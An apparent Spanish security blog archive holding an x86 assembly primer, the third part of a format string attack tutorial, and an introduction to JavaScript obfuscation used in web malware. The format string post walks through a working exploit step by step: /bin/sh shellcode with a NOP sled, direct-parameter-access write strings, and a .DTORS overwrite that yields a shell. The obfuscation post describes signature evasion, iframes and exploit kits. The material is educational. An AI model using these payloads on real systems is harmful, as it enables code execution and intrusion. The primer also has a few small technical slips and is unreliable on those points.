16 feb 2011

Nuevo dominio

He trasladado el contenido del blog a un nuevo dominio: http://blog.seguesec.com , desde allí podréis consultar a partir de ahora las nuevas entradas.

12 feb 2011

Reversing Android.Geinimi.A

en 3:07 | 0 comentarios | Etiquetas: android, malware

He publicado una aportación para Security By Default donde trato el tema de reversing a las APK de Android, y tomo como ejemplo el último malware para dispositivos smartphone llamado Gemini.

Si quieres leerlo: Reversing Android.Geinimi.A

10 ene 2011

Principios en ensamblador

en 18:13 | 11 comentarios | Etiquetas: ASM, PFC, Reversing

Introducción

El objetivo de esta entrada no es otro que dar unas nociones básicas de ASM para tener una base con la que empezar a realizar reversing para los menos avezados.

¿Qué es?

Una entrada donde se condensen los principios básicos a conocer y tener en cuenta para introducirnos un poco en el mundo del reversing. Tómalo como una pequeña guía de referencia, nada más.

Para un buen aprendizaje de ASM consulta el libro “The art of assembly language”.

¿Qué no es?

No se trata de un tutorial sobre programación en ASM, ni se trata de explicar conceptos avanzados en la materia ni lenguaje.

Prerrequisitos

¿Qué es la ingeniería inversa?

Wikipedia– (El objetivo de la ingeniería inversa (reversing) es obtener información a partir de un producto accesible al público, con el fin de determinar de qué está hecho, qué lo hace funcionar y cómo fue fabricado.

El método se denomina así porque avanza en dirección opuesta a las tareas habituales de ingeniería, que consisten en utilizar datos técnicos para elaborar un producto determinado.

La ingeniería inversa es un método de resolución. Aplicar ingeniería inversa a algo supone profundizar en el estudio de su funcionamiento, hasta el punto de que podamos llegar a entender, modificar y mejorar dicho modo de funcionamiento.)

Adentrándonos en ASM

Obtener unas nociones básicas de ensamblador es fundamental para comenzar nuestra incursión en el mundo del reversing, hazte a la idea de que tendrás que manejarte al dedo con él.

Olvídate de las facilidades que podías gozar en python, C, C++, perl, etc. Esto es otra historia, aquí usaremos abreviaturas y números, y probablemente al comienzo todo te parezca bastante lioso e incluso frustrante.

Bits, Bytes, Words DWords

BIT – Unidad mínima de información. Su valor puede oscilar entre el ‘0’ o ‘1’. El sistema binario se forma por la unión de varios bits.
BYTE – Un byte está formado por 8 bits. Su valor puede oscilar entre 0-255. Es un sistema en base 2. Nosotros para facilitar la lectura de los números binarios, usaremos el sistema hexadecimal (sistema en base 16) por la rapidez y facilidad para leer.
WORD – Son dos bytes o lo que es lo mismo 16 bits. Su valor oscila entre 0-65535d (0h – 0FFFFh)
DWORD – Son dos words o lo que es lo mismo 32 bits. Su valor oscila entre 0-4294967295d (0h-0FFFFFFFFh)

Registros

Similar a las variables. Un registro es una zona especial en la memoria de nuestro procesador donde podemos almacenar y consultar un valor único. Con la salvedad de que existen un número limitado de ellos y cada uno tiene un cometido específico.
En arquitecturas Intel (que será la elegida por nosotros) podemos distinguir un total de 8 registros:

EAX (Extended Accumulator Register) – Destacamos dos funcionalidades de uso común para este tipo de registro: Almacenar el valor de retorno de una función y utilizarlo como contenedor para resolver sencillas operaciones matemáticas.

Es un registro volátil, dado que su valor no es almacenado. A pesar de que se establezca el valor de retorno de una función al contenido del mismo.
EBX (Extended Base Register) - Suele utilizarse como apoyo para acelerar el cálculo de operaciones. Es un registro no volátil.
ECX (Extended Counter Register) – Registro volátil que puede ser utilizado como contador de bucle o contenedor de parámetros que sean pasado a funciones
EDX (Extended Data Register) – Registro volátil usado mayormente como parámetro para funciones. Normalmente se usa también para almacenar variables a corto plazo dentro de una función.
ESI (Extended Source Index) – Registro no volátil que normalmente es usado como puntero. Es utilizado por aquellas funciones que requieren un origen y un destino para los datos que se utilizan. Apuntando este al origen en todo momento.
EDI (Extended Destination Index) - Al igual que el registro ESI, es no volátil y usado como puntero, a diferencia de que este apunta al destino siempre.
EBP (Extended Base Pointer) – Registro no volátil con dos usos comunes según el compilador que utilicemos, así puede desempeñar el papel de un registro como otro cualquiera o ser el puntero al marco de pila.
ESP (Extended Stack Pointer) – Almacena un puntero a la parte inferior de la pila. Tras ejecutar una función el valor que tenía el registro al principio debe de coincidir con el asociado tras la función
EIP (Extended Instruction Pointer)

Estos registros de 32 bits a su vez pueden ser divididos en registros de menor tamaño (16 bits, y 8 bits, distinguiendo la parte superior e inferior).
Por tanto tenemos:

8 registros de 32 bits: EAX, EBX, ECX, EDX, ESI, EDI, EBP, ESP EIP
8 registros de 16 bits: AX, BX, CX, DX, SI, DI, BP, SP, IP
8 registros de 8 bits: AH, AL, BH, BL, CH, CL, DH, DL

Donde H hace referencia a Higher (Bits más significantes de la dirección) y L a Lower(Bits menos significantes de la dirección).

De esta forma ECX = 0x24101989, quedaría como CX = 0x1989, CH = 0x19 y CL = 0x89, y de paso ya sabéis cuándo hacerme un regalo (rubias por favor ;D).

Ahora mismo debemos de quedarnos con una idea ligeramente similar a esta:

Las banderas (Flags)

Se tratan de simples bits que nos indican el estado de algo. En arquitecturas de 32bits tenemos un total de 32 banderas, pero nosotros sólo vamos a utilizar tres de ellas:

Z-Flag – (Zero flag) Será el flag que más acabaremos usando, cuando su valor es ‘1’ nos indica que el resultado de una operación fue ‘0’. Su valor puede ser cambiado por todas aquellas instrucciones que realicen operaciones matemáticas y por la instrucción ‘cmp’
C-Flag – (Carry flag) Su valor va ligado al uso de acarreo en operaciones de suma y resta.
O-Flag – (Overflow flag) Su valor cambia a disposición del valor que adopte el bit más significativo. Si queremos realizar la suma de 127 consigo mismo, este es representado como 0111 1111, en este momento el MSB es ‘0’, pero al realizar la operación (0111 1111 + 0111 1111) obtenemos 1111 1110, siendo ‘1’ ahora el valor del MSB.

Segmentos (Segments) y desplazamientos (Offsets)

El concepto de segmento podemos definirlo como la zona de memoria donde las instrucciones (CS), datos (DS) o pila (SS) son almacenadas.

A su vez cada segmento es dividido en 'offsets'. Así en aplicaciones de 32-bits estos offsets estos van numerados desde 00000000 a FFFFFFFF, o lo que es lo mismo 65536 zonas de memoria.

Por tanto podemos aceptar el concepto de offset como un valor indicativo de desplazamiento desde el punto de inicio del objeto hasta un punto dado, presumiblemente siempre dentro del mismo objeto.

Un ejemplo real de esto podemos ponerlo como un libro en el caso de un segmento, y una línea específica de una página como un offset.

La pila

Podemos ver el concepto de pila como una estructura de datos, en la que el modo de acceso a sus elementos es de tipo LIFO (Last Input First Output – Ultimo en entrar, primero en salir).

Distinguimos dos comandos para interactuar con ella:

Push (apilar) – Coloca un objeto en la pila.
Pop (desapilar) – Saca un objeto de la pila.

Cuando llamamos a una función, todos sus parámetros son almacenados en sentido inverso en la pila antes de hacer de pasar el flujo de ejecución a la función.

NuestraFuncion(int param1, int param2, char param3, float param4)

Esto en ensamblador quedaría:

push param4
push param3
push param2
push param1
call NuestraFuncion
add esp, 10h

Como comentabamos vamos pasando los parámetros a nuestra pila para posteriormente realizar la llamada. Después de acabar la ejecución de nuestra función el puntero a pila sigue teniendo 16 bytes por delante de lo que tenía en un principio. Con la intención de restaurar el estado original de la misma, debemos añadir al puntero el valor 10h que corresponde a los 4 elementos que hemos introducido en la pila (4bytes por cada instrucción push ejecutada).

Operaciones lógicas

A lo largo de nuestro recorrido deberemos conocer cómo funcionan las operaciones lógicas a nivel de bits:

Operación AND – Realiza la función booleana de producto lógico.
Operación OR – Realiza la función booleana de suma lógica.
Operación XOR - Realiza la función booleana de A’B+AB’.
Operación NOT – Realiza la función booleana de inversión o negación de una variable lógica.

Instrucciones

Instrucción NOP – Es una abreviatura de “No operation” y su uso es de simple relleno.

Desplazando datos:

'mov' – Instrucción análoga a '=', puede mover datos entre un registro y memoria, dos registros o incluso entre una constante y memoria.
'movsx' – Versión especializada para usar con registros de diferentes tamaños y con signo.
'movzx' – Versión especializada para usar con registros de diferentes tamaños y sin signo.
‘lea’ (Load Effective Address) – Uso similar a ‘mov’ y utilizado para calcular desplazamientos en vectores, dado que podemos hacer uso de [dirección comienzo + offset*datasize] para encontrar la dirección de un elemento en concreto del vector. Su uso también se basa para cálculos de multiplicaciones y sumas.

Operaciones lógicas y matemáticas

‘add’, ‘sub’ – Permiten sumar o restar respectivamente a un registro, un valor constante, un registro o un puntero.

add eax, 5
sub ecx, 5
add ebx, eax
‘inc’, ‘dec’ – Permiten incrementar o decrementar respectivamente un registro.

inc ebx
dec eax
‘and’, ‘or’, ‘xor’, ‘neg’ – Instrucciones encargadas de realizar las operaciones lógicas a nivel de bits, que hemos explicado anteriormente.

and eax, 5 ; eax = eax & 7
xor eax, 0 ; eax = eax ^ 0
or eax, 19 ; eax = eax | 19
neg eax ; eax = !eax
xor eax, eax ; eax = 0
‘mul’, ‘imul’, ‘div’, ‘idiv’, ‘cdq’ – Correspondientes a las operaciones de multiplicación y división, ambas hacen uso de los registros de 64 bits edx:eax. ‘mul’ multiplica el valor sin signo almacenado en el registro eax con el operando y almacena el resultado en el registro de edx:eax. Por otro lado ‘imul’ realizad la misma operación a excepción de que el valor es con signo.

mul ecx ; edx:eax =eax * ecx (Sin signo)
imul ecx ; edx:eax = eax * ecx (Con signo)

Cuando se usan dos parámetros, el comportamiento es el esperado, multiplica el primero por el segundo y almacena el resultado en el primer parámetro.

‘div’ divide el valor almacenado en el registro edx:eax por el operando y el cociente lo almacena en eax. El resto o módulo es almacenado en edx. Al igual que sucedía con ‘imul’ la operación ‘idiv’ permite utilizar valores con signo.

div ecx ; eax = edx:eax / ecx (Sin signo)
; edx = edx:eax % ecx (Sin signo)

idiv ecx ; eax = edx:eax / ecx (Con signo)
; edx = edx:eax % ecx (Con signo)

Por otro lado la operación ‘cdq’ es usada antes que ‘idiv’ y su cometido es convertir el valor de 32bit almacenado en eax en un valor de 64 bit para almacenarlo en edx:eax sobreescribiendo cualquier valor que haya en edx con ceros en caso de ser eax positivo o con ‘F’ en caso de ser eax negativo.
‘shl’, ‘shr’ – Shift Left y Shift Right respectivamente, nos permiten realizar desplazamiento a nivel de bits hacia la derecha e izquierda, al igual que los operadores << y >> usados en C.

Saltos Estas instrucciones son utilizadas en caso de bucles y condiciones de comprobación. Realizando una comprobación del valor que almacena el registro, dirección o constante asociada a la instrucción.

‘jmp’ – Envía la ejecución del programa a la dirección especificada

jmp 2420h ; Saltamos a la dirección 0x2420
‘call’, ‘ret’ – ‘call’ tiene un uso similar a ‘jmp’ a excepción de que además de realizar el salto a la dirección solicitada, almacena en la pila la dirección de la instrucción ejecutada.

Por otro lado ‘ret’ obtiene el tope de la pila y desplaza el flujo de ejecución de nuestra aplicación hasta la dirección de memoria asociada. Si el registro SP apunta a una dirección errónea o esta ha sido sobreescrita desencadenará que nuestra aplicación se cierre inesperadamente. Con estas instrucciones jugaremos más adelante.
‘cmp’, ‘test’ – ‘cmp’ compara los dos operandos y establece una serie de flags como resultado de la operación realizada.

Por otro lado ‘test’ realiza una operación and a nivel de bit entre las dos variables y posteriormente realiza una comparación con 0.

Los flags más comunes:
- Cero (Zero) – Lo establece únicamente si los dos elementos son iguales.
- Mayor que (Greater than) – Lo establece si el primer elemento es mayor que el segundo.
- Menor que (Less than) – Lo establece si el primer elemento es menor que el segundo.
cmp eax, ebx ; Compara EAX y EBX y establece el flag Zero si son iguales
cmp EAX, [404000] ; Compara EAX con el contenido de 404000
test eax, eax

Otras instrucciones relacionadas con los saltos

ja - Salta si es mayor - CF=0 y ZF=0
jae – Salta si es mayor o igual - CF=0
jb (el whisky no) – Salta si es menor - CF=1
jbe - Salta si es menor o igual - CF=1 o ZF=1
jc – Salta si el flag de acarreo está establecido - CF=1
jcxz – Salta si CX es 0 - CX=0
je – Salta si la comprobación es igual - ZF=1
jecxz – Salta si ECX es 0 - ECX=0
jg - Salta si es mayor (Con signo) - ZF=0 y SF=OF
jge – Salta si es mayor o igual (CS) - SF=OF
jl – Salta si es menor (CS) - SF != OF
jle – Salta si es menor o igual (CS) - ZF=1 y OF != OF
jmp - Salta - Siempre salta
jna – Salta si no es mayor (Sin signo) - CF=1 o ZF=1
jnae - Salta si no es mayor o igual (SS) - CF=1
jnb - Salta si no es menor (SS) - CF=0
jnbe - Salta si no es menor o igual (SS) - CF=0 y ZF=0
jnc - Salta si el flag de acarreo no está establecido - CF=0
jne - Salta si no es igual - ZF=0
jng - Salta si no es mayor (CS) - ZF=1 o SF!=OF
jnge - Salta si no es mayor o igual (CS) - SF!=OF
jnl - Salta si no es menor (CS) - SF=OF
jnle - Salta si no es menor o igual (CS) - ZF=0 y SF=OF
jno - Salta si el flag de overflow no está establecido - OF=0
jnp - Salta si el bit de paridad no está establecido - PF=0
jns - Salta si el flag de signo no está establecido - SF=0
jnz - Salta si no es cero - ZF=0
jo - Salta si el flag de overflow está establecido - OF=1<7li>
jp - Salta si el bit de paridad está establecido - PF=1
jpe - Salta si el bit de paridad es igual - PF=1
jpo - Salta si el bit de paridad es impar - PF=0
js - Salta si el bit de signo está establecido - SF=1
jz - Salta si es cero - ZF=1

19 dic 2010

Introducción a Format String Attack III

en 13:38 | 0 comentarios | Etiquetas: format string attack

Seguimos con la serie de entradas dedicadas a la técnica Format String Attack

Direct Parameter Access (DPA)

En las entradas anteriores hemos podido comprobar como para explotar este tipo de vulnerabilidades necesitabamos introducir un número secuencial de parámetros de formato como %x acompañados de palabras de 4 bytes para conseguir de forma exitosa sobreescribir una dirección de memoria en una zona arbitraria de la memoria.

Con el DPA conseguimos simplificar todo este trabajo y tener acceso a la dirección de forma directa usando el signo del dólar '$'. Usemos el siguiente código de ejemplo

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ gcc -o dpa-poc dpa-poc.c
sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./dpa-poc

Sexta posición: 6

Si antes necesitabamos acceder al dato en el duodécimo offset, usando para ello "%x" doce veces, ahora podemos obtener lo mismo usando para ello:

sebas@Penetraitor:~/roote/Universidad/PFC/wiki/tutoriales/string-attack$ ./fst_example BBBB%12\$x

Correcto:
BBBB%12$x
Incorrecto:
BBBB42424242

Además también conseguimos simplificar el proceso de escritura en las direcciones de memoria, puesto que al poder ser accedida directamente, no hay necesidad de usar esos 4 bytes separadores innecesarios para aumentar el contador de bytes.

Para ejemplificar todo esto un poco más y exponer ejemplos más cercanos, vamos a tratar de escribir alguna dirección de memoria de alguna variable de entorno que tenga por contenido una shellcode basándonos para ello la ténica de DPA.

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ export SHELLCODE=`perl -e 'print "\x90"x50,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

Localicemos su posición exacta:

sebas@Penetraitor:~/roote/Universidad/PFC/wiki/tutoriales/string-attack$ ./getenvaddr SHELLCODE

SHELLCODE está localizada en 0xbffff5e0

Ejecutando gdb para obtener información adicional:

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ gdb ./fst_example -q
(gdb) break main
Breakpoint 1 at 0x08048382
(gdb) run
Starting program: /home/roote/Universidad/PFC/wiki/tutoriales/string-attack

Breakpoint 1, 0x08048382 in main ()
Current language: auto; currently asm
(gdb) x/s 0xbffff5e0
0xbffff5e0: ".gpg-agent:3824:1"
(gdb) x/s 0xbffff5e0+18
0xbffff5f2: "SHELLCODE=", '\220' , "1�Ph//shh/bin\211�PS\211�\231�\v�\200"
(gdb) x/s 0xbffff5e0+43
0xbffff60b: '\220' , "1�Ph//shh/bin\211�PS\211�\231�\v�\200"

Ya sabemos que nuestra shellcode está en la dirección 0xbffff60b y que:

Primero: 0xe0 - [ Valor del offset ]
Segundo: 0xf5 - 0xe0
Tercero: 0xff - 0xf5
Cuarto: 0xbf - 0xff

El buffer de direcciones que debemos escribir es:

"\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"

Para hacernos una idea de cómo nuestro ataque utiliza el direct parameter access podemos echarle un vistazo a esto:

Primero escribe: %[offset]$[valor]x%[offset]$n
Segundo escribe: %[offset]$[valor]x%[offset+1]$n
Tercero escribe: %[offset]$[valor]x%[offset+2]$n
Cuarto escribe: %[offset]$[valor]x%[offset+3]$n

Ahora tratemos de escribir 0xe0 en la primera direccion del buffer

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf
"\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"`%12\$x%12\$n

Correcto:
H�I�J�K�%12$x%12$n
Incorrecto:
H�I�J�K�8049648
(-) Valor @ 0x08049648 = 23 0x00000017

Calculamos el desplazamiento:

>>> 0xe0-16
208

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf
"\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"`%12\$208x%12\$n

Correcto:
H�I�J�K�%12$208x%12$n
Incorrecto:
H�I�J�K� 8049648
(-) Valor @ 0x08049648 = 224 0x000000e0

El hecho de decrementar el valor en 16 bytes es debido a que es la distancia respecto a la primera dirección introducida.

>>> 0xf5-0xe0
21

Ahora escribamos 0xf5 en la segunda dirección del buffer

>>> 0xf5-0xe0
21

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf
"\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"
`%12\$208x%12\$n%12\$21x%13\$n

Correcto:
H�I�J�K�%12$208x%12$n%12$21x%13$n
Incorrecto:
H�I�J�K� 8049648 8049648
(-) Valor @ 0x08049648 = 62944 0x0000f5e0

La siguiente dirección del buffer será sobreescrita por 0xff:

>>> 0xff-0xf5
10

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf
"\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"
`%12\$208x%12\$n%12\$21x%13\$n%12\$10x%14\$n

Correcto:
H�I�J�K�%12$208x%12$n%12$21x%13$n%12$10x%14$n
Incorrecto:
H�I�J�K� 8049648 8049648 8049648
(-) Valor @ 0x08049648 = 16774624 0x00fff5e0

Como podéis ver el offset que delimita el final del rango del buffer a sobreescribir, por cada contenido que deseamos añadir es aumentado en uno.

NOTA: Para la operación 0xff-0xf5 el valor obtenido ha sido 10, si al realizar este cálculo obtenemos un número inferior a 8, sería necesario añadir 1 al principio del byte, es decir: 0x1ff-0xf5, pero en este caso no es necesario.

Por último escribamos 0xbf en la cuarta dirección del buffer:

>>> 0xbf-0xff
-64

Aplicando el consejo que hemos comentado antes, obtenemos el resultado correcto a partir de:

>>> 0x1bf-0xff
192

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf
"\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"
`%12\$208x%12\$n%12\$21x%13\$n%12\$10x%14\$n%12\$192x%15\$n

Correcto:
H�I�J�K�%12$208x%12$n%12$21x%13$n%12$10x%14$n%12$192x%15$n
Incorrecto:
H�I�J�K� 8049648 8049648 8049648 8049648
(-) Valor @ 0x08049648 = -1073744416 0xbffff5e0

Con esto llegamos a la conclución de que la dirección de la shellcode ha sido escrita correctamente en la dirección de la variable.

Sobreescribiendo las zonas .DTORS

Cuando hablamos de clases y la instancia de objetos respecto a estas, debemos distinguir dos procesos comúnes y estrechamente ligados entre sí, el hecho de llamar al constructor de la clase para reservar un espacio de direcciones donde albergar el objeto, y el destructor utilizado para liberar la zona de memoria ocupada por nuestro objeto una vez el cometido de nuestra aplicación
finaliza.

Así podemos distinguir en nuestro ELF (entre otras) una sección llamada .CTORS encargada de mantener información referente a los punteros de los constructores, y otra llamada .DTORS con información sobre los punteros de los destructores.

Por ahora basta con saber esto y que los constructores son lanzadas antes de que nuestro programa ejecute la función main, y que los destructores se ejecutan inmediantemente después de que finalice con una llamada de salida al sistema. Nosotros en especial, vamos a centrarnos en la sección .DTORS.

El motivo de esto, es debido a que la sección .DTORS puede ser sobreescrita, por tanto podemos redirigir el flujo de ejecución de nuestra aplicación a la dirección que nosotros indiquemos una vez termine su ejecución, así obligaríamos por ejemplo a que se ejecutara nuestra shellcode.

Veamos todo esto con pequeños ejemplos que nos clarifiquen un poco estos conceptos (código fuente)

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ gcc -o dtors_poc dtors_poc.c

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./dtors_poc

Traza 1 - Dentro de la función construir atribuida al constructor.
Traza 2 - Dentro de la función main.
Traza 3 - Dentro de la función destruir atribuida al destructor.

Ahora vamos a utilizar el comando objdump para examinar las distintas secciones y en nm para encontrar las direcciones de memoria donde están ubicadas nuestras funciones:

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ nm ./dtors_poc

08049f20 d _DYNAMIC
08049ff4 d _GLOBAL_OFFSET_TABLE_
080484dc R _IO_stdin_used
w _Jv_RegisterClasses
08049f0c d __CTOR_END__
08049f04 d __CTOR_LIST__
08049f18 D __DTOR_END__
08049f10 d __DTOR_LIST__
08048590 r __FRAME_END__
08049f1c d __JCR_END__
08049f1c d __JCR_LIST__
0804a014 A __bss_start
0804a00c D __data_start
08048490 t __do_global_ctors_aux
08048340 t __do_global_dtors_aux
0804a010 D __dso_handle
w __gmon_start__
0804848a T __i686.get_pc_thunk.bx
08049f04 d __init_array_end
08049f04 d __init_array_start
08048420 T __libc_csu_fini
08048430 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0
0804a014 A _edata
0804a01c A _end
080484bc T _fini
080484d8 R _fp_hw
08048294 T _init
08048310 T _start
0804a014 b completed.6635
080483c4 t construir
0804a00c W data_start
080483fe t destruir
0804a018 b dtor_idx.6637
080483a0 t frame_dummy
080483d8 T main
U puts@@GLIBC_2.0

El comando objdump vamos a pasarlo con las opciones:

j - Mostramos solo información para la sección que indiquemos, en nuestro caso será la sección .dtors.
s - Indicamos que deseamos obtener toda la información posible sobre las secciones indicadas.

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ objdump -s -j .dtors ./dtors_poc

./dtors_poc: file format elf32-i386

Contents of section .dtors:
8049f10 ffffffff fe830408 00000000 ............

Como comentábamos al principio, si hacemos un objdump a las cabeceras de sección, observaremos que la sección .DTORS no está etiquetada como sólo lectura (READONLY), para esto nos apoyaremos en la opción -h encargada de mostrarnos la información albergada en las cabeceras de las distintas secciones que componen nuestro fichero objeto.

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ objdump -h ./dtors_poc
...
4 .dynsym 00000050 080481b0 080481b0 000001b0 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
...
17 .dtors 0000000c 08049f10 08049f10 00000f10 2**2
CONTENTS, ALLOC, LOAD, DATA

Al principio de tratar esta sección hablábamos sobre la posibilidad de sobreescribir una dirección de memoria y encauzar el flujo de ejecución de nuestra aplicación hacia esa dirección, de esta forma comentábamos que se podría ejecutar nuestra shellcode, aprendamos cómo hacerlo, pero antes debemos escribir el siguiente format string con DPA tal y como indicamos en la apartado anterior:

"%12\$208x%12\$n%12\$21x%13\$n%12\$10x%14\$n%12\$192x%15\$n"

Con esto escribiremos en la dirección 0xbffff5e0, que apunta a nuestra shellcode a través de la variable "valor".

El siguiente paso será construir nuestro buffer con las direcciones a ser escritas, para este ejemplo un buen comienzo podría ser la dirección donde está contenido el buffer de la sección .DTORS:

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ nm ./fst_example | grep DTOR

0804954c d __DTOR_END__
08049548 d __DTOR_LIST__

Quedando el buffer:

"\x4c\x95\x04\x08\x4d\x95\x04\x08\x4e\x95\x04\x08\x4f\x95\x04\x08"

Comprobemos si funciona:

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf
"\x4c\x95\x04\x08\x4d\x95\x04\x08\x4e\x95\x04\x08\x4f\x95\x04\x08"
`%12\$208x%12\$n%12\$21x%13\$n%12\$10x%14\$n%12\$192x%15\$n

Correcto:
L�M�N�O�%12$208x%12$n%12$21x%13$n%12$10x%14$n%12$192x%15$n
Incorrecto:
L�M�N�O� 804954c 804954c 804954c 804954c
(-) Valor @ 0x08049648 = 50 0x00000032

sh-2.05b$

Listo, hemos conseguido sobreescribir correctamente nuestra sección .DTORS y ejecutar nuestra shellcode.

4 nov 2010

Ofuscando código JavaScript I de III - Introducción

en 12:12 | 2 comentarios | Etiquetas: javascript, malware, ofuscación, PFC

Nueva serie de entradas relacionadas con la ofuscación de código JavaScript y de diferentes técnicas que pueden ser utilizadas para explotar vulnerabilidades:

Ofuscando código JavaScript I de III - Explicación de conceptos generales y cómo combinar la ofuscación con iFrames, Malware Kits, y XSS.
Ofuscando código JavaScript II de III - Combinar ofuscación de código con SQL Injection, Wigets, SWF Redirection y Heap Spray
Ofuscando código JavaScript III de III - Explicaremos cómo combatir estas técnicas y mostraremos herramientas que nos ofusquen y desofusquen automáticamente nuestro código.

Introducción

Una de las técnicas más usadas por los atacantes para explotar vulnerabilidades en los navegadores es la ofuscación de scripts.

Los scripts que son ejecutados en la parte del cliente suelen estar escritos en Perl, JavaScript, VBScript, ofuscando el código se consigue complicar la tarea de comprender, estudiar o analizar la funcionalidad del mismo.

Esto ha conseguido que sea una de las técnicas más utilizadas cuando se habla de malware desarrollado específicamente para objetivos web.

El objetivo es transformar el código en algo totalmente incomprensible mientras se transfiere desde el servidor web hasta el navegador del cliente, pero siempre manteniendo su funcionalidad.

Para dar un ejemplo real, vamos a utilizar una función en JavaScript encargada de calcular el factorial de un número y vamos a explicar cada una de los puntos que se ha de seguir para ofuscar correctamente el código de forma que quede totalmente críptico para un usuario pero sin que se vea afectado su propósito.

Este código tiene un uso sencillo, pasamos dos parámetros a nuestra función, y esta se encarga de mostrar el factorial para el valor dado.

Ofuscando

Para poder ofuscar nuestro código correctamente podemos seguir los siguientes puntos:

Cambiar el nombre de las variables utilizadas en el código por caracteres sin sentido por ejemplo "factorial" puede llamarse "ZmFjdG9yaWFs".
Reemplazar constantes o valores numéricos por expresiones, así "485" puede ser "0x16c1+3640-0x2314".
Reemplazar los caracteres de los strings por sus valores hexadecimales correspondientes, así "javascript" será "\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74".
Eliminar cualquier espacio o indentaciÃ³n existente en el código, de forma que este quede más compacto y sea más complicado de leer.
Eliminar cualquier anotación o comentario en el código que pueda dar pistas al usuario de la funcionalidad del mismo.

Si aplicamos estos apartados al código anteriormente descrito, legible y fácil de seguir la traza, obtendremos el siguiente resultado que realiza exactamente el mismo cometido.

Como veis, el código queda completamente ilegible, y esta es una técnica muy usada para evadir las firmas de detección utilizadas por aplicaciones de seguridad como los IPS (Intrusion Prevention Systems), escáneres de Malware o las aplicaciones de filtrado, por mencionar algunos ejemplos.

Pero esto es solo un pequeño ejemplo, podemos encontrarnos con casos en los que existan varios scrips ofuscados y tener variables que dependan de la desofuscación de otros scripts para realizar su cometido.

Todo esto es relativo, pudiendo llegar a ser un proceso tan complejo como el atacante quiera.

Usando iFrames

No deja de ser una página web HTML, con la peculiaridad de que permite insertar una página dentro de otra. Esto ha provocado que se convierta en una de las técnicas preferidas por los atacantes para inyectar malware en las aplicaciones web.

Al ser tan flexibles permiten pasar desapercibidos ocultándose del resto de elementos en la página, convirtiéndose en una alternativa ideal para ocultar código javascript ofuscado que se aproveche de alguna vulnerabilidad inyectando su código al ser incrustado entre el resto de etiquetas HTML.

Podéis ver un ejemplo aquí y aquí. Este último hace uso de la función JavaScript unescape() encargada de decodificar URL Encode Strings, en otras palabras se encarga de decodificar un parámetro que fue codificado con la función de JavaScript encode().

Su funcionamiento consiste en encontrar parejas de 2 o 4 caracteres hexadecimales e intercambiarlos por su representación en Latin-1, de esta forma %20 es el equivalente al espacio, %21 una exclamación, %22 es el equivalente a la comilla doble, etc.

Un ejemplo de las funciones sería:

escape("URL a codificar") quedaría %22URL%20a%20codificar%22
unescape(%22URL%20a%20codificar%22) quedaría "URL a codificar"

El contenido del código anteriormente mostrado es en realidad el siguiente, pasando los caracteres codificados a su valor original obtendríamos lo siguiente. De esta forma se está utilizando un iframe para cargar un recurso externo.

Web Based Malware Kits

Desde aproximadamente 2005, se han ido sucediendo diversos packs de exploits que se aprovechan de vulnerabilidades en los navegadores y componentes flash para explotarlos y conseguir ejecutar código remoto.

Operan aprovechándose de la técnica comentada anteriormente, redirigiendo la acción del navegador de la víctima hacia un servidor que esté ejecutando una copia del malware, de forma que al acceder a la misma este quede infectado si no se utiliza un antivirus actualizado.

Además en cada nueva actualización que sacan suelen añadirse nuevas características que ofuscan aun más el código e implementen heurísticas de evasión para saltarse las firmas de antivirus. Se consiguen crear exploits dirigidos a determinados navegadores y sistemas operativos, y se incrementa brutalmente el porcentaje de éxito del ataque.

Una vez la fase de infección y explotación ha sido realizada satisfactoriamente, se procede a la descarga de nuevo malware, sin que el usuario tenga conocimiento de ello, creando un nido de infección preocupante. En este momento la víctima ha sido comprometido sin darse cuenta.

Un lugar donde podéis informaros más ampliamente sobre esto, es en el otro lugar donde escribo a veces, Malware Intelligence.

Cross Site Scripting (XSS)

Si hemos de hablar de una de las mayores vulnerabilidades en aplicaciones web usadas para propósitos maliciosos, esa es Cross Site Scripting o XSS para los colegas.

Esta permite a un atacante alterar o modificar el código fuente de la aplicación, resultando en una ampliación del ataque y en la infección de un mayor número de usuarios potenciales:

Una vez que ha tenido éxito el ataque, la fase de propagación puede realizarse tan rápida como lo hizo el gusano Blaster, Slammer, etc... Un ejemplo de esto lo tenéis en el gusano que afecto a Twitter hace poco.
La detección y explotación de una vulnerabilidad no conocida puede desencadenar en consecuencias desastrosas. Propagando la infección de malware en sitios de confianza.

Un ejemplo lo tenéis con el último ataque dirigido al sitio de Kaspersky que estuvo durante tres horas distribuyendo malware desde su página de inicio. Actualmente un 80% de los sitios web presentan este tipo de vulnerabilidades, y en la mayoría de los casos son despojadas de importancia (así se las meten luego ;D).
Es común que sitios como redes sociales, foros, chats, correos, sean los objetivos escogido para perpretar un ataque debido al brutal tráfico que reciben.
